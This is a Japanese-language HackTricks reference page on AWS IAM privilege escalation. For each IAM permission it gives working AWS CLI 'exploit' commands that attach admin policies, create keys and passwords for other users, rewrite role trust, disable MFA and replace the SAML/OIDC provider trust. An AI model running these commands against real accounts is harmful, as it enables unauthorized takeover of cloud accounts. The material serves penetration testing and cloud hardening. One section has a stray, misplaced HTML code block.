AWS - IAM Privesc

HackTricksをサポートする

IAM

IAMに関する詳細情報は以下を参照:

AWS - IAM, Identity Center & SSO Enum

iam:CreatePolicyVersion

新しいIAMポリシーバージョンを作成する能力を付与し、--set-as-defaultフラグを使用してiam:SetDefaultPolicyVersion権限を回避します。これにより、カスタム権限を定義することができます。

エクスプロイトコマンド:

aws iam create-policy-version --policy-arn <target_policy_arn> \
--policy-document file:///path/to/administrator/policy.json --set-as-default

影響: 任意のリソースに対して任意のアクションを許可することで、直接的に権限を昇格させます。

iam:SetDefaultPolicyVersion

IAMポリシーのデフォルトバージョンを他の既存バージョンに変更することを許可します。新しいバージョンにより多くの権限がある場合、権限が昇格する可能性があります。

Bashコマンド:

aws iam set-default-policy-version --policy-arn <target_policy_arn> --version-id v2

影響: より多くの権限を有効にすることによる間接的な権限昇格。

iam:CreateAccessKey

他のユーザーのためにアクセスキーIDとシークレットアクセスキーを作成することを可能にし、潜在的な権限昇格につながる。

エクスプロイト:

aws iam create-access-key --user-name <target_user>

影響: 他のユーザーの拡張された権限を引き受けることによる直接的な権限昇格。

iam:CreateLoginProfile | iam:UpdateLoginProfile

AWSコンソールログイン用のパスワード設定を含むログインプロファイルの作成または更新を許可し、直接的な権限昇格につながる。

作成のためのエクスプロイト:

aws iam create-login-profile --user-name target_user --no-password-reset-required \
--password '<password>'

Exploit for Update:

更新のためのエクスプロイト:

<pre>
aws iam create-policy --policy-name &lt;policy-name&gt; --policy-document file://&lt;policy-document&gt;.json
aws iam attach-user-policy --user-name &lt;user-name&gt; --policy-arn arn:aws:iam::&lt;account-id&gt;:policy/&lt;policy-name&gt;
</pre>
aws iam update-login-profile --user-name target_user --no-password-reset-required \
--password '<password>'

影響: "任意"のユーザーとしてログインすることによる直接的な権限昇格。

iam:UpdateAccessKey

無効化されたアクセスキーを有効にすることを許可し、攻撃者が無効化されたキーを持っている場合、不正アクセスにつながる可能性があります。

エクスプロイト:

aws iam update-access-key --access-key-id <ACCESS_KEY_ID> --status Active --user-name <username>

影響: アクセスキーを再有効化することによる直接的な権限昇格。

iam:CreateServiceSpecificCredential | iam:ResetServiceSpecificCredential

特定のAWSサービス(例:CodeCommit、Amazon Keyspaces)のための資格情報を生成またはリセットすることを可能にし、関連するユーザーの権限を継承します。

作成のためのエクスプロイト:

aws iam create-service-specific-credential --user-name <username> --service-name <service>

Resetのエクスプロイト:

aws iam reset-service-specific-credential --service-specific-credential-id <credential_id>

影響: ユーザーのサービス権限内での直接的な権限昇格。

iam:AttachUserPolicy || iam:AttachGroupPolicy

ユーザーまたはグループにポリシーをアタッチすることを許可し、アタッチされたポリシーの権限を継承することで直接的に権限を昇格させます。

ユーザーのためのエクスプロイト:

aws iam attach-user-policy --user-name <username> --policy-arn "<policy_arn>"

Groupのエクスプロイト:

aws iam attach-group-policy --group-name <group_name> --policy-arn "<policy_arn>"

影響: ポリシーが許可するすべての権限への直接的な権限昇格。

iam:AttachRolePolicy, ( sts:AssumeRole|iam:createrole) | iam:PutUserPolicy | iam:PutGroupPolicy | iam:PutRolePolicy

ロール、ユーザー、またはグループにポリシーをアタッチまたは設定することを許可し、追加の権限を付与することで直接的な権限昇格を可能にします。

ロールのエクスプロイト:

bashCopy codeaws iam attach-role-policy --role-name <role_name> --policy-arn "<policy_arn>"

Inline Policiesのエクスプロイト:

aws iam put-user-policy --user-name <username> --policy-name "<policy_name>" \
--policy-document "file:///path/to/policy.json"

aws iam put-group-policy --group-name <group_name> --policy-name "<policy_name>" \
--policy-document file:///path/to/policy.json

aws iam put-role-policy --role-name <role_name> --policy-name "<policy_name>" \
--policy-document file:///path/to/policy.json

ポリシーは次のように使用できます:

{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": [
"*"
],
"Resource": [
"*"
]
}
]
}

影響: ポリシーを通じて権限を追加することによる直接的な権限昇格。

iam:AddUserToGroup

IAMグループに自分自身を追加することを可能にし、グループの権限を継承することで権限を昇格させる。

エクスプロイト:

aws iam add-user-to-group --group-name <group_name> --user-name <username>

影響: グループの権限レベルへの直接的な権限昇格。

iam:UpdateAssumeRolePolicy

ロールのアサムロールポリシードキュメントを変更することを許可し、そのロールと関連する権限を引き受けることができるようにします。

エクスプロイト:

aws iam update-assume-role-policy --role-name <role_name> \
--policy-document file:///path/to/assume/role/policy.json

ポリシーは次のようになっており、ユーザーにロールを引き受ける権限を与えます:

{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": "sts:AssumeRole",
"Principal": {
"AWS": "$USER_ARN"
}
}
]
}

影響: 任意のロールの権限を引き受けることによる直接的な権限昇格。

iam:UploadSSHPublicKey || iam:DeactivateMFADevice

CodeCommitへの認証のためのSSH公開鍵のアップロードとMFAデバイスの無効化を許可し、間接的な権限昇格の可能性を引き起こします。

SSHキーアップロードのエクスプロイト:

aws iam upload-ssh-public-key --user-name <username> --ssh-public-key-body <key_body>

MFA Deactivationのエクスプロイト:

aws iam deactivate-mfa-device --user-name <username> --serial-number <serial_number>

影響: CodeCommitアクセスの有効化やMFA保護の無効化による間接的な権限昇格。

iam:ResyncMFADevice

MFAデバイスの再同期を許可し、MFA保護を操作することで間接的な権限昇格につながる可能性があります。

Bash Command:

aws iam resync-mfa-device --user-name <username> --serial-number <serial_number> \
--authentication-code1 <code1> --authentication-code2 <code2>

影響: MFAデバイスの追加または操作による間接的な権限昇格。

iam:UpdateSAMLProvider, iam:ListSAMLProviders, (iam:GetSAMLProvider)

これらの権限を持っていると、SAML接続のXMLメタデータを変更できます。その後、SAMLフェデレーションを悪用して、それを信頼している任意のロールでログインすることができます。

これを行うと、正当なユーザーはログインできなくなることに注意してください。しかし、XMLを取得して自分のものを設定し、ログインして以前の設定を戻すことができます。

# List SAMLs
aws iam list-saml-providers

# Optional: Get SAML provider XML
aws iam get-saml-provider --saml-provider-arn <ARN>

# Update SAML provider
aws iam update-saml-provider --saml-metadata-document <value> --saml-provider-arn <arn>

## Login impersonating roles that trust the SAML provider

# Optional: Set the previous XML back
aws iam update-saml-provider --saml-metadata-document <previous-xml> --saml-provider-arn <arn>

TODO: 指定されたロールでSAMLメタデータを生成し、ログインできるツール

iam:UpdateOpenIDConnectProviderThumbprint, iam:ListOpenIDConnectProviders, (iam:GetOpenIDConnectProvider)

(不確かですが)攻撃者がこれらの権限を持っている場合、新しいThumbprintを追加して、プロバイダーを信頼するすべてのロールにログインできるようにする可能性があります。

# List providers
aws iam list-open-id-connect-providers
# Optional: Get Thumbprints used to not delete them
aws iam get-open-id-connect-provider --open-id-connect-provider-arn <ARN>
# Update Thumbprints (The thumbprint is always a 40-character string)
aws iam update-open-id-connect-provider-thumbprint --open-id-connect-provider-arn <ARN> --thumbprint-list 359755EXAMPLEabc3060bce3EXAMPLEec4542a3

参考文献

HackTricksをサポートする

Last updated